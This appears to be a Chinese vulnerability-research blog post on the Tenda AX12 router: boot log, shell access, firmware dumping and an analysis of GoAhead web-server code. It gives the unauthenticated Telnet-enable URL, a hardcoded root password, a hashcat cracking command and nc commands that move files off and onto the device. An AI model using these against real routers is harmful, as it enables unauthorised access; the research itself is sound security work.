20221102_10:12:01: [ 0.069297] pid_max: default: 32768 minimum: 301
20221102_10:12:01: [ 0.074089] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
20221102_10:12:01: [ 0.080513] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
20221102_10:12:01: [ 0.089028] CCA is coherent, multi-core is fine
20221102_10:12:01: [ 0.098030] [vmb_cpu_alloc]:[645] CPU vpet.cpu_status = 11
····
····
····
20221102_10:12:04: [ 2.630752] Creating 7 MTD partitions on "spi32766.1":
20221102_10:12:04: [ 2.635944] 0x000000000000-0x000000080000 : "uboot"
20221102_10:12:04: [ 2.641983] 0x000000080000-0x0000000a0000 : "ubootconfigA"
20221102_10:12:04: [ 2.647466] 0x0000000a0000-0x0000000c0000 : "ubootconfigB"
20221102_10:12:04: [ 2.652796] 0x0000000c0000-0x000000100000 : "calibration"
20221102_10:12:04: [ 2.658323] 0x000000100000-0x000000300000 : "kernel"
20221102_10:12:04: [ 2.663127] 0x000000300000-0x000000f00000 : "rootfs"
20221102_10:12:04: [ 2.668196] mtd: device 6 (rootfs) set to be root filesystem
20221102_10:12:04: [ 2.672755] 1 squashfs-split partitions found on MTD device rootfs
20221102_10:12:04: [ 2.678831] 0x000000d00000-0x000001000000 : "rootfs_data"
20221102_10:12:04: [ 2.685523] 0x000000f00000-0x000001000000 : "res"
20221102_10:12:04: [ 2.689973] Lantiq SoC SPI controller rev 9 (TXFS 32, RXFS 32, DMA 1)
20221102_10:12:04: [ 2.705499] libphy: Fixed MDIO Bus: probed
20221102_10:12:04: [ 2.713792] libphy: gswitch_mdio: probed
20221102_10:12:04: [ 2.719788] libphy: gswitch_mdio: probed
20221102_10:12:04: [ 2.723371] lro_sram_membase_res0 from DT: a2013000
20221102_10:12:04: [ 2.727580] ltq_toe_membase: e2000000 and lro_sram_membase_res0: e2013000
20221102_10:12:04: [ 2.734666] TOE Init Done !!
然后等待一段时间，就会出现登录了，前提是路由器要接网线(被坑了一段时间)，否则不会出现登录，猜测的原因应该是未接网线时，应该在某个地方被阻塞了，并且Tenda路由器的一些产品，都是支持Telnet连接的，但是Telnet的服务需要我们自己去打开，两个登录过程都是一样的。
## Shell登录
无论是串口还是Telnet，都是需要密码的，username为root，但是password不知道，但是通过搜索可以知道，对于Tenda路由器部分设备，开启Telnet服务的访问方式是<http://192.168.0.1/goform/telnet>，[CVE-2018-5770](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5770)，并且对于密码，同样存在爆破得到密码其密码为Fireitup，CVE-2020-10988。
并且在/etc/shadow文件中，我们也能看到使用了md5加密的痕迹，想了解md5(unix)加密可以看看这篇文章[md5(unix)原理分析](https://www.jianshu.com/p/f007b81cb96f)。
我这里还是想了解下具体代码处理过程，login命令实际busybox程序处理的，于是将busybox拖到了ida中查看，发现处理过程的具体代码在sub_45A378。
先是获取用户名，然后根据这个用户名调用getpwnam函数去/etc/shadow寻找对应的名称，返回spwd结构体。
struct spwd{
char *sp_namp; /* 登录名 */
char *sp_pwdp; /* 加密密码 */
long sp_lstchg; /* 上次更改日期 */
long sp_min; /* 更改密码的最少天数 */
long sp_max; /* 更改密码的最大天数*/
long sp_warn; /* 警告期 */
long sp_inact; /* 最长不活动天数 */
long sp_expire; /* 帐户到期日期 */
unsigned long sp_flag; /* 未使用 */
};
这里可以ida添加这个结构体，或许可以方便后面的分析，添加方式为View-->Open Subviews-->Local
Type，然后右键Insert，将结构体复制进去，点击ok即可，后面在对httpd文件分析的时候，也会用到Goahead里面的一些结构体。
LABEL_34:
查看验证函数，其中主要是打印Password:
字符串，并接受我们的输入，然后提取/etc/shadow中的salt，然后调用crypt()函数，将其进行md5加密，最后和密文进行比较。
然后再贴一下hashcat的爆破过程吧，hashcat -m 500 -a 0 ./shadow.txt ./pwd.txt --force
Telnet的连接实际上也是调用的这个login，Telnet服务开启会执行这样的命令。
int __fastcall sub_41AE00(int a1)
{
system("/etc/init.d/telnet restart");
sub_415368(a1, "load Telnet success.");
return sub_415B54(a1, 200);
}
去到对应文件查看，发现一连串下来，最后还是调用的，/bin/login
## 固件提取
其实除了从芯片中提取固件，还可以直接到官网下载，或者在串口获取shell后，使用一些命令，比如说nc，ftp，等命令将路由器的一些文件传出到主机中，前提是路由器的shell需要支持这些命令。
这里我采用最简单的nc命令来进行提取固件，这里我选择Telnet连接，方便一些。
首先查看系统磁盘分区信息，proc/mtd文件保存着系统的磁盘分区信息，然后使用dd命令获取Tenda Ax1的文件系统镜像。
然后关闭主机防火墙，确保路由器shell和主机之间能ping通，接着用nc命令将tenda.bin到主机中。
nc -lp 1234 > tenda.bin
路由器shell连接上，进入tmp目录，nc连接主机，发送文件。
cd /tmp
nc 192.168.0.157 1234 < tenda.bin
效果如下
然后binwalk解包后的文件系统和官方的一致，如果想导出其他文件也可使用这种方式。
## Goahead源码分析
将固件解包后，就可以去看http服务对应的处理文件/usr/sbin/httpd，看了一会发现这好像是Goahead的架构，里面的回调函数很多，所以理解架构可以帮助我们理解处理流程，以及方便打断点进行调试。
搜索字符串可以发现2.1.8，所以应该是Goahead2.1.8的版本，在github上找到一个2.1.8源码:<https://github.com/trenta3/goahead-versions> 官网文档：<https://www.embedthis.com/goahead/doc>
**一些全局变量**
//main.c
static char_t *rootWeb = T("web"); /* Root web directory */
static char_t *password = T(""); /* Security password */
static int port = 80; /* Server port */
static int retries = 5; /* Server port retries */
static int finished; /* Finished flag */
//sock.c
socket_t **socketList; /* List of open sockets */
int socketMax; /* Maximum size of socket */
int socketHighestFd = -1; /* Highest socket fd opened */
//handler.c
static websUrlHandlerType *websUrlHandler; /* URL handler list */
static int websUrlHandlerMax; /* Number of entries */
static int urlHandlerOpenCount = 0; /* count of apps */
rootWeb就是Web服务器的根目录，在Tenda Ax12中，实际上就是/www。
然后就是密码password，端口port为80端口，尝试次数retries为5，finished则是一个循环的标志。
socketList是一个结构体数组，保存所有的socket，socketMax是当前所有socket的数量值。
websUrlHandler是一个指针数组，指向websUrlHandlerType这个结构体，这个结构体后面会分析。websUrlHandlerMax就是当前url
handler的数量值。
**main.c**
/*
* Main -- entry point from LINUX
*/
int main(int argc, char** argv)
{
/*
* Initialize the memory allocator. Allow use of malloc and start
* with a 60K heap. For each page request approx 8KB is allocated.
* 60KB allows for several concurrent page requests. If more space
* is required, malloc will be used for the overflow.
*/
bopen(NULL, (60 * 1024), B_USE_MALLOC);
signal(SIGPIPE, SIG_IGN);
/*
* Initialize the web server
*/
if (initWebs() < 0) {
return -1;
}
#ifdef WEBS_SSL_SUPPORT
websSSLOpen();
#endif
/*
* Basic event loop. SocketReady returns true when a socket is ready for
* service. SocketSelect will block until an event occurs. SocketProcess
* will actually do the servicing.
*/
while (!finished) {
if (socketReady(-1) || socketSelect(-1, 1000)) {
socketProcess(-1);
}
websCgiCleanup();
emfSchedProcess();
}
#ifdef WEBS_SSL_SUPPORT
websSSLClose();
#endif
#ifdef USER_MANAGEMENT_SUPPORT
umClose();
#endif
/*
* Close the socket module, report memory leaks and close the memory allocator
*/
websCloseServer();
socketClose();
#ifdef B_STATS
memLeaks();
#endif
bclose();
return 0;
}
可以看到先是bopen()分配了内存，然后调用了initWebs()去初始化web服务，这个函数也是后面要重点分析的函数。
然后就是while循环，里面有下面几个函数
* socketReady()，就是判断是否存在准备处理事件的套接字，有则会返回TRUE，其实现方式是遍历socketList，获取socket_t *sp的结构体成员信息进行if判断。
* socketSelect()，此调用使用由 socketRegisterInterest 定义的感兴趣事件的掩码。它阻塞调用者，直到发生合适的 I/O 事件或超时。
* socketProcess()，处理挂起的套接字 I/O 事件。
* websCgiCleanup()，需要检查 cgiList 中的任何条目是否已完成，如果已完成，则处理其输出并清理。
* emfSchedProcess()，以循环方式将任务从队列中取出。
后面部分就是关闭WebServer，关闭套接字，释放内存，分别由websCloseServer()，socketClose()，bclose()实现。
**initWebs()**
static int initWebs()
{
struct hostent *hp;
struct in_addr intaddr;
char host[128], dir[128], webdir[128];
char *cp;
char_t wbuf[128];
/*
* Initialize the socket subsystem
*/
socketOpen();
#ifdef USER_MANAGEMENT_SUPPORT
/*
* Initialize the User Management database
*/
umOpen();
umRestore(T("umconfig.txt"));
#endif
/*
* Define the local Ip address, host name, default home page and the
* root web directory.
*/
if (gethostname(host, sizeof(host)) < 0) {
error(E_L, E_LOG, T("Can't get hostname"));
return -1;
}
if ((hp = gethostbyname(host)) == NULL) {
error(E_L, E_LOG, T("Can't get host address"));
return -1;
}
memcpy((char *) &intaddr, (char *) hp->h_addr_list[0],
(size_t) hp->h_length);
/*
* Set ../web as the root web. Modify this to suit your needs
*/
getcwd(dir, sizeof(dir));
if ((cp = strrchr(dir, '/'))) {
*cp = '\0';
}
sprintf(webdir, "%s/%s", dir, rootWeb);
/*
* Configure the web server options before opening the web server
*/
websSetDefaultDir(webdir);
cp = inet_ntoa(intaddr);
ascToUni(wbuf, cp, min(strlen(cp) + 1, sizeof(wbuf)));
websSetIpaddr(wbuf);
ascToUni(wbuf, host, min(strlen(host) + 1, sizeof(wbuf)));
websSetHost(wbuf);
/*
* Configure the web server options before opening the web server
*/
websSetDefaultPage(T("default.asp"));
websSetPassword(password);
/*
* Open the web server on the given port. If that port is taken, try
* the next sequential port for up to "retries" attempts.
*/
websOpenServer(port, retries);
/*
* First create the URL handlers. Note: handlers are called in sorted order
* with the longest path handler examined first. Here we define the security
* handler, forms handler and the default web page handler.
*/
websUrlHandlerDefine(T(""), NULL, 0, websSecurityHandler,
WEBS_HANDLER_FIRST);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
websUrlHandlerDefine(T(""), NULL, 0, websDefaultHandler,
WEBS_HANDLER_LAST);
/*
* Now define two test procedures. Replace these with your application
* relevant ASP script procedures and form functions.
*/
websAspDefine(T("aspTest"), aspTest);
websFormDefine(T("formTest"), formTest);
/*
* Create the Form handlers for the User Management pages
*/
#ifdef USER_MANAGEMENT_SUPPORT
formDefineUserMgmt();
#endif
/*
* Create a handler for the default home page
*/
websUrlHandlerDefine(T("/"), NULL, 0, websHomePageHandler, 0);
return 0;
}
先是调用socketOpen()，初始化socket系统，就是对sock.c的一些全局变量进行初始化。 然后对IP，host
name，还有网页的根目录进行获取和赋值。
调用websSetDefaultDir()设置根目录，websSetIpaddr()设置ip地址，websSetHost()设置host name。
websSetDefaultPage()设置默认访问页，websSetPassword()设置密码。 websOpenServer(port,
retries)，在指定端口打开webserver
如果这个端口不可用，就延续下一个，retries就是失败后可尝试的次数，里面实现了对websUrlHandler，websUrlHandlerMax的初始化，都为0。
下面要分析的就是websUrlHandlerDefine和一些结构体了，这是搞懂Gohead是如何如何处理前端发过来的请求的关键地方。
先来看下 **websUrlHandlerType** 结构体
typedef struct {
int (*handler)(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path,
char_t *query); /* Callback URL handler function */
char_t *webDir; /* Web directory if required */
char_t *urlPrefix; /* URL leading prefix */
int len; /* Length of urlPrefix for speed */
int arg; /* Argument to provide to handler */
int flags; /* Flags */
} websUrlHandlerType;
可以看到，其包含了以下成员
* 函数指针handler，是这个Url的回调处理函数。
* 然后就是webDir，Web 目录的可选根目录路径，但是给websUrlHandlerDefine函数传参是，一般都为0。
* urlPrefix，要匹配的 URL 前缀，比如说“/goform”，"/cgi-bin"，“/”，“”等。
* len，urlPrefix字符串的长度，后面排序会用到。
* arg，传递给处理函数的参数。
* flags，定义匹配顺序，有两个WEBS_HANDLER_LAST、WEBS_HANDLER_FIRST，那些先进行处理，那些后进行处理。
再来看看 **webs_t** 结构体
/*
* Per socket connection webs structure
*/
typedef struct websRec {
ringq_t header; /* Header dynamic string */
time_t since; /* Parsed if-modified-since time */
sym_fd_t cgiVars; /* CGI standard variables */
sym_fd_t cgiQuery; /* CGI decoded query string */
time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char_t ipaddr[32]; /* Connecting ipaddress */
char_t type[64]; /* Mime type */
char_t *dir; /* Directory containing the page */
char_t *path; /* Path name without query */
char_t *url; /* Full request url */
char_t *host; /* Requested host */
char_t *lpath; /* Cache local path name */
char_t *query; /* Request query */
char_t *decodedQuery; /* Decoded request query */
char_t *authType; /* Authorization type (Basic/DAA) */
char_t *password; /* Authorization password */
char_t *userName; /* Authorization username */
char_t *cookie; /* Cookie string */
char_t *userAgent; /* User agent (browser) */
char_t *protocol; /* Protocol (normally HTTP) */
char_t *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char_t *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
#ifdef DIGEST_ACCESS_SUPPORT
char_t *realm; /* usually the same as "host" from websRec */
char_t *nonce; /* opaque-to-client string sent by server */
char_t *digest; /* digest form of user password */
char_t *uri; /* URI found in DAA header */
char_t *opaque; /* opaque value passed from server */
char_t *nc; /* nonce count */
char_t *cnonce; /* check nonce */
char_t *qop; /* quality operator */
#endif
#ifdef WEBS_SSL_SUPPORT
websSSL_t *wsp; /* SSL data structure */
#endif
} websRec;
typedef websRec *webs_t;
typedef websRec websType;
这个就是每个套接字连接网络的结构体，包含了很多信息，就像我们bp抓包里面包含的那些信息。
还有个就是 **socket_t**
typedef struct {
char host[64]; /* Host name */
ringq_t inBuf; /* Input ring queue */
ringq_t outBuf; /* Output ring queue */
ringq_t lineBuf; /* Line ring queue */
socketAccept_t accept; /* Accept handler */
socketHandler_t handler; /* User I/O handler */
int handler_data; /* User handler data */
int handlerMask; /* Handler events of interest */
int sid; /* Index into socket[] */
int port; /* Port to listen on */
int flags; /* Current state flags */
int sock; /* Actual socket handle */
int fileHandle; /* ID of the file handler */
int interestEvents; /* Mask of events to watch for */
int currentEvents; /* Mask of ready events (FD_xx) */
int selectEvents; /* Events being selected */
int saveMask; /* saved Mask for socketFlush */
int error; /* Last error */
} socket_t;
这是socket套接字的结构体。
接下来分析websUrlHandlerDefine函数，这个函数是用来注册各个URL具体的处理函数的。
/******************************************************************************/
/*
* Define a new URL handler. urlPrefix is the URL prefix to match. webDir is
* an optional root directory path for a web directory. arg is an optional
* arg to pass to the URL handler. flags defines the matching order. Valid
* flags include WEBS_HANDLER_LAST, WEBS_HANDLER_FIRST. If multiple users
* specify last or first, their order is defined alphabetically by the
* urlPrefix.
*/
int websUrlHandlerDefine(char_t *urlPrefix, char_t *webDir, int arg,
int (*handler)(webs_t wp, char_t *urlPrefix, char_t *webdir, int arg,
char_t *url, char_t *path, char_t *query), int flags)
{
websUrlHandlerType *sp;
int len;
a_assert(urlPrefix);
a_assert(handler);
/*
* Grow the URL handler array to create a new slot
*/
len = (websUrlHandlerMax + 1) * sizeof(websUrlHandlerType);
if ((websUrlHandler = brealloc(B_L, websUrlHandler, len)) == NULL) {
return -1;
}
sp = &websUrlHandler[websUrlHandlerMax++];
memset(sp, 0, sizeof(websUrlHandlerType));
sp->urlPrefix = bstrdup(B_L, urlPrefix);
sp->len = gstrlen(sp->urlPrefix);
if (webDir) {
sp->webDir = bstrdup(B_L, webDir);
} else {
sp->webDir = bstrdup(B_L, T(""));
}
sp->handler = handler;
sp->arg = arg;
sp->flags = flags;
/*
* Sort in decreasing URL length order observing the flags for first and last
*/
qsort(websUrlHandler, websUrlHandlerMax, sizeof(websUrlHandlerType),
websUrlHandlerSort);
return 0;
}
先定义了结构体指针sp，然后计算了长度len，分配内存空间，根据websUrlHandlerMax计算偏移，然后给sp结构体赋值，最后就是对所有的url
handler进行个排序。
回到initWebs，分别有这几种，安全处理程序，表单处理程序和默认网页处理程序，默认主页创建处理程序
websUrlHandlerDefine(T(""), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
websUrlHandlerDefine(T(""), NULL, 0, websDefaultHandler, WEBS_HANDLER_LAST);
websUrlHandlerDefine(T("/"), NULL, 0, websHomePageHandler, 0);
接下来我们要找到其是如何调用的这些handler，我们对全局变量websUrlHandler进行搜索，最后找到其在handler.c的websUrlHandlerRequest(webs_t
wp)函数中找到了其调用方式。
**websUrlHandlerRequest(webs_t wp)**
/******************************************************************************/
/*
* See if any valid handlers are defined for this request. If so, call them
* and continue calling valid handlers until one accepts the request.
* Return true if a handler was invoked, else return FALSE.
*/
int websUrlHandlerRequest(webs_t wp)
{
websUrlHandlerType *sp;
int i, first;
a_assert(websValid(wp));
/*
* Delete the socket handler as we don't want to start reading any
* data on the connection as it may be for the next pipelined HTTP/1.1
* request if using Keep Alive
*/
socketDeleteHandler(wp->sid);
wp->state = WEBS_PROCESSING;
websStats.handlerHits++;
websSetRequestPath(wp, websGetDefaultDir(), NULL);
/*
* Eliminate security hole
*/
websCondenseMultipleChars(wp->path, '/');
websCondenseMultipleChars(wp->url, '/');
/*
* We loop over each handler in order till one accepts the request.
* The security handler will handle the request if access is NOT allowed.
*/
first = 1;
for (i = 0; i < websUrlHandlerMax; i++) {
sp = &websUrlHandler[i];
if (sp->handler && gstrncmp(sp->urlPrefix, wp->path, sp->len) == 0) {
if (first) {
websSetEnv(wp);
first = 0;
}
if ((*sp->handler)(wp, sp->urlPrefix, sp->webDir, sp->arg,
wp->url, wp->path, wp->query)) {
return 1;
}
if (!websValid(wp)) {
trace(0,
T("webs: handler %s called websDone, but didn't return 1\n"),
sp->urlPrefix);
return 1;
}
}
}
/*
* If no handler processed the request, then return an error. Note: It is
* the handlers responsibility to call websDone
*/
if (i >= websUrlHandlerMax) {
/*
* 13 Mar 03 BgP
* preventing a cross-site scripting exploit
websError(wp, 200, T("No handler for this URL %s"), wp->url);
*/
websError(wp, 200, T("No handler for this URL"));
}
return 0;
}
#ifdef OBSOLETE_CODE
所有的请求都会到这个函数来寻找其对应的有效处理程序，具体过程如下
* 调用socketDeleteHandler (wp->sid)，删除通过 socketCreateHandler 创建的套接字处理程序。
* 然后处理一些路径安全的问题。
* 接着for循环遍历websUrlHandler，根据sp->urlPrefix字符串，来决定对应的handler处理函数。
到这里就又产生了个问题，websUrlHandlerRequest是在哪调用的呢，不断向上跟会有这样一个调用链。
apl
websSocketEvent()
|--判断读写操作
|--读websReadEvent()
| |--websUrlHandlerRequest()
| |--查找wbsUrlHandler数组,调用和urlPrefix对应的回调函数(websFormHandler(),websDefaultHandler()等)
|
|--写,调用(wp->writeSocket)回调函数
接着我们需要知道websSocketEvent是哪来的，搜索发现，其是socketCreateHandler 创建的套接字处理程序。
apl
websOpenServer()
|--websOpenListen()
|--调用socketOpenConnection(NULL, port, websAccept, 0)，可是socketOpenConnection我在官方文档中并没有找到解释。
|--websAccept()
|--做一些检查
|--socketCreateHandler(sid, SOCKET_READABLE, websSocketEvent, (int) wp)
| |--把sid注册为读事件,初始化socket_t sp->handler = websSocketEvent等, 更新对应的socketList数组(handlerMask值等)
可以看出，是对socket_t
sp->handler进行了赋值，所以其实最开始的地方就是在main函数中的while循环中，执行socketProcess()，从而调用socket_t
sp->handler的处理函数进行相应的处理，下面是main函数中while循环的调用链。
|--(main loop)
| |--socketReady(-1) || socketSelect(-1, 1000)
| | |--轮询socketList |--轮询socketList中的handlerMask
| | |--中的几个变量 |--改变socketList中的currentEvents
| |
| |--socketProcess()
| |--轮询socketList[]
| |--socketReady()
| |--socketDoEvent()
| |--如果有新的连接(来自listenfd)就调用socketAccept()
| | |--调用socketAlloc()初始化socket_t结构
| | |--把socket_t结构加入 socketList数组
| | |--调用socket_t sp->accept()回调函数
| |
| |--如果不是新的连接就查找socketList数组调用socket_t sp->handler()回调函数
现在我们知道了这些url
handler是如何被调用的了，但是还有个问题需要解决，就是websFormHandler表单处理程序，也就是当我们传入表单，发送post请求时的handler，在Goahead中，是这样定义ASP
脚本程序和表单功能的。
/*
* Now define two test procedures. Replace these with your application
* relevant ASP script procedures and form functions.
*/
websAspDefine(T("aspTest"), aspTest);
websFormDefine(T("formTest"), formTest);
/*
* Define an ASP Ejscript function. Bind an ASP name to a C procedure.
*/
int websAspDefine(char_t *name,
int (*fn)(int ejid, webs_t wp, int argc, char_t **argv))
{
return ejSetGlobalFunctionDirect(websAspFunctions, name,
(int (*)(int, void*, int, char_t**)) fn);
}
/*
* Define a form function in the "form" map space.
*/
int websFormDefine(char_t *name, void (*fn)(webs_t wp, char_t *path,
char_t *query))
{
a_assert(name && *name);
a_assert(fn);
if (fn == NULL) {
return -1;
}
symEnter(formSymtab, name, valueInteger((int) fn), (int) NULL);
return 0;
}
static sym_fd_t formSymtab = -1; /* Symbol table for form handlers */
/*
* The symbol table record for each symbol entry
*/
typedef struct sym_t {
struct sym_t *forw; /* Pointer to next hash list */
value_t name; /* Name of symbol */
value_t content; /* Value of symbol */
int arg; /* Parameter value */
} sym_t;
typedef int sym_fd_t; /* Returned by symOpen */
typedef struct {
union {
char flag;
char byteint;
short shortint;
char percent;
long integer; //注意这个，根据后面分析，这个代表了form表单的函数地址
long hex;
long octal;
long big[2];
#ifdef FLOATING_POINT_SUPPORT
double floating;
#endif /* FLOATING_POINT_SUPPORT */
char_t *string;
char *bytes;
char_t *errmsg;
void *symbol;
} value;
vtype_t type;
unsigned int valid : 8;
unsigned int allocated : 8; /* String was balloced */
} value_t;
在Tenda Ax12中，更多使用的是websFormDefine，通过上面的代码，我们可以知道下面的信息。
* `symEnter(formSymtab, name, valueInteger((int) fn), (int) NULL);`，虽然找不到symEnter的定义，但是可以分析出来，这个函数应该是不断向链表插入定义的form表单处理程序，主要包含name和具体的函数地址。
* formSymtab全局变量应该是指向sym_t结构体链表的表头。
接下来分析 **websFormHandler()**
/*
* Process a form request. Returns 1 always to indicate it handled the URL
*/
int websFormHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path, char_t *query)
{
sym_t *sp;
char_t formBuf[FNAMESIZE];
char_t *cp, *formName;
int (*fn)(void *sock, char_t *path, char_t *args);
a_assert(websValid(wp));
a_assert(url && *url);
a_assert(path && *path == '/');
websStats.formHits++;
/*
* Extract the form name
*/
gstrncpy(formBuf, path, TSZ(formBuf));
if ((formName = gstrchr(&formBuf[1], '/')) == NULL) {
websError(wp, 200, T("Missing form name"));
return 1;
}
formName++;
if ((cp = gstrchr(formName, '/')) != NULL) {
*cp = '\0';
}
/*
* Lookup the C form function first and then try tcl (no javascript support
* yet).
*/
sp = symLookup(formSymtab, formName);
if (sp == NULL) {
websError(wp, 200, T("Form %s is not defined"), formName);
} else {
fn = (int (*)(void *, char_t *, char_t *)) sp->content.value.integer;
a_assert(fn);
if (fn) {
/*
* For good practice, forms must call websDone()
*/
(*fn)((void*) wp, formName, query);
/*
* Remove the test to force websDone, since this prevents
* the server "push" from a form>
*/
#if 0 /* push */
if (websValid(wp)) {
websError(wp, 200, T("Form didn't call websDone"));
}
#endif /* push */
}
}
return 1;
}
整个过程如下
|--websFormHandler()
| |--strncpy(),strchr() 获取formName
| |--symLookup(formSymtab, formName) 遍历链表，根据name返回对应的结构体。
| |--sp->content.value.integer 从结构体中获取到函数地址。
| |--(*fn)((void*) wp, formName, query); 执行函数
到这里，关于Goahead源码的分析就差不多了，上面分析的内容可以帮助我们更好的去分析Tenda
AX12的httpd程序，比如如何找到开发者自定义的处理函数，还有整个数据的处理流程，以及ida伪代码符号表，结构体的恢复。
## httpd漏洞挖掘
虽然网上关于Tenda路由器设备的cve很多，大部分是堆栈溢出，少部分命令注入，但是实际上这些cve在真实环境下是没法利用的，基本上全都需要身份验证，因为Tenda路由器的安全处理函数处理得很好，在我分析完整个登录过程以及cookie验证过程，都没找到绕过的方式，所以还是只能搞一些经过身份验证的漏洞，然后还是收获了一些漏洞，分析过程中，我也使用了之前自己搞的一个idapython脚本插件[Audit](https://github.com/The-Itach1/Audit)，可以帮助快速定位到一些函数，节省了一些时间。
以下的漏洞攻击，都需要在有一次身份验证下，也就是有一次可用的cookie，才能进行攻击。
### 启动部分分析
来到main函数，大部分的过程和Goahead的源码差不多，但是有些区别的是host和username和userpass的获取方式。
可以看到是调用GetValue这个函数，但究竟是从哪获取到的呢，获取到这个信息可能可以帮助我们找到userpass的存储位置，这里我没找到关于GetValue这个函数的具体实现资料，但是我找到了关于[OpenWrt系统UCI详解](https://blog.csdn.net/dxt1107/article/details/115742249)的资料。
这些类似于network.lan.proto的字符串实际上都是uci的配置格式，其会保存在某个具体的配置文件中，一般都在etc目录下，GetValue这个函数的内部，推断应该就是使用了的内置函数来对值进行获取。
然后我先是先对binwalk分离的固件进行了grep匹配特征字符串，发现并没有找到对应的配置文件，最后感觉还是得去真实设备中去匹配，Telnet连接上后进行匹配，成功找到username和userpass在/etc/config/admin文件中，proto,ipaddr在/etc/config/network中。
### web登录后台验证过程分析
分析了Goahead的源码后，我们知道了这种框架的数据处理过程，以及一些结构体，我们可以恢复这些结构体，以及去官方找一些mips架构的老固件来进行一些符号表的修复，让分析过程变得简单一些。
#### 调试环境搭建
ida反编译出来的代码还是比较多，所以肯定需要进行调试分析，先搭建调试环境。
首先去根据路由器架构下载对应编译好的gdbserver，这里我是下载的gdbserver-7.12-mips-mips32rel2-v1-sysv。
接下来就是和前面传固件的方式，用nc命令来传文件到路由器的linux系统中，只不过有点不一样的是这次是从主机传文件到路由器。
同样也是关闭windows的防火墙，确保主机和路由器能ping通，主机监听一个端口，并传入文件。
nc -lp 1234 < gdbserver-7.12-mips-mips32rel2-v1-sysv
路由器shell连接上，进入tmp目录，nc连接主机，接收文件。
cd /tmp
nc 192.168.0.157 1234 > gdbserver
然后给gdbserver文件提供可执行权限。
chmod 777 ./gdbserver
效果如下。
然后gdbserver开启监听端口附加调试即可。
成功后，会出现Remote debugging from host ip。
#### 前端分析
首先先对前端登录的发包过程进行分析，随便输入一个密码试一下，然后抓个包。
可以看到，访问了/login/Auth这个接口，username默认为admin，password为md5(input)，并且处理这个过程的文件应该是login.js。
可在浏览器中调试一下，大概分析下流程就是，注册了一个登陆过程的回调函数。
var serviceUrl = '/login/Auth',
authService = new PageService(serviceUrl),
loginPageView = new PageView(),
loginPageLogin = new PageLogic(loginPageView, authService);
loginPageLogin.init();
然后每当登陆键按下，则会触发处理函数。
view.addSubmitHandler(function () {
that.validate.checkAll();
});
this.addSubmitHandler = function (callBack) {
$('#subBtn').on('click', function (e) {
e.preventDefault();
callBack.apply();
});
接下来就是，获取username和password，检测是否有效，然后将password进行md5加密，然后发送到后端。
this.validate = $.validate({
custom: function () {
var username = view.getUsername(),
password = view.getPassword();
function checksValid(username, password) {
return username !== '' && password !== '';
}
if (!checksValid(username, password)) {
return _("Please specify a login password.");
}
},
success: function () {
var data = view.getSubmitData();
authService.login(data, view.showSuccessful, view.showError);
},
error: function (msg) {
view.showInvalidError(msg);
}
});
//md5加密password，返回表单
this.getSubmitData = function () {
var ret = '';
ret = {
username: this.getUsername(),
password: hex_md5(this.getPassword())
};
return ret;
};
//调用login函数，以POST的方式发送到后端进行验证
this.login = function (subData, successCallback, errorCallback) {
$.ajax({
url: url,
type: "POST",
data: subData,
success: successCallback,
error: errorCallback
});
};
然后会根据后端传的值来决定，是否显示登陆错误，如果传的值为1，就代表密码错误。
this.showSuccessful = function (str) {
var num = str;
if (num == 1) {
$('#login-message').html(_("Incorrect password."));
} else {
// window.location.href = "/main.html"; //解决android系统下360浏览器不能正常登陆问题
window.location.reload(true);
}
这里我们就明白了登陆过程中前端是如何向后端发送数据的了。
#### 分析R7WebsSecurityHandler()
这个函数是路由器的安全处理函数，无论访问什么url，都会经过这个函数，登录后台的验证，以及访问各种接口时的cookie验证都在这个函数进行处理。
我们直接先访问http://ip，但是实际上的url会是http://ip/，其会先经过R7WebsSecurityHandler()，遍历一些接口，发现都不是，然后就会return
0，下面这些资源，都是可直接访问的，不需要验证。
v12 = strncmp(a5, "/public/", 8);
v13 = 4521984;
if ( !v12 )
goto LABEL_24;
v14 = strncmp(a5, "/lang/", 6);
v13 = 4521984;
if ( !v14 )
goto LABEL_24;
if ( strstr(a5, "img/main-logo.png") )
goto LABEL_24;
if ( strstr(a5, "reasy-ui-1.0.3.js") )
goto LABEL_24;
if ( !strncmp(a5, "/favicon.ico", 12) )
goto LABEL_24;
v13 = 4521984;
if ( !*(_DWORD *)&wp->type[22] )
goto LABEL_24;
v15 = strncmp(a5, "/kns-query", 10);
v13 = 4521984;
if ( !v15 )
goto LABEL_24;
if ( !strncmp(a5, "/wdinfo.php", 11) )
goto LABEL_24;
v16 = strlen((int)a5);
v13 = 4521984;
if ( v16 == 1 && *a5 == 47 )
goto LABEL_24;
v17 = strncmp(a5, "/redirect.html", 14);
v13 = 4521984;
if ( !v17 || !strncmp(a5, "/goform/getRebootStatus", 23) )
{
LABEL_24:
puts("------ don't need check user -------", v13);
return 0;
}
if ( dword_4697F8 && !memcmp(v56, "/login.html", 10) )
{
dword_4697F8 = 0;
return 0;
}
if ( i == 4 && !strncmp(a5, "/loginerr.html", 14) )
return 0;
if ( (unsigned int)strlen((int)v56) >= 4 )
{
v19 = strchr(v56, 46);
if ( v19 )
{
v20 = v19 + 1;
if ( !memcmp(v19 + 1, "gif", 3)
|| !memcmp(v20, "png", 3)
|| !memcmp(v20, "js", 2)
|| !memcmp(v20, "css", 3)
|| !memcmp(v20, "jpg", 3)
|| !memcmp(v20, "jpeg", 3) )
{
memset(v58, 0, 128);
snprintf(v58, 128, "/www%s", v56);
if ( !access(v58, 0) )
return 0;
}
}
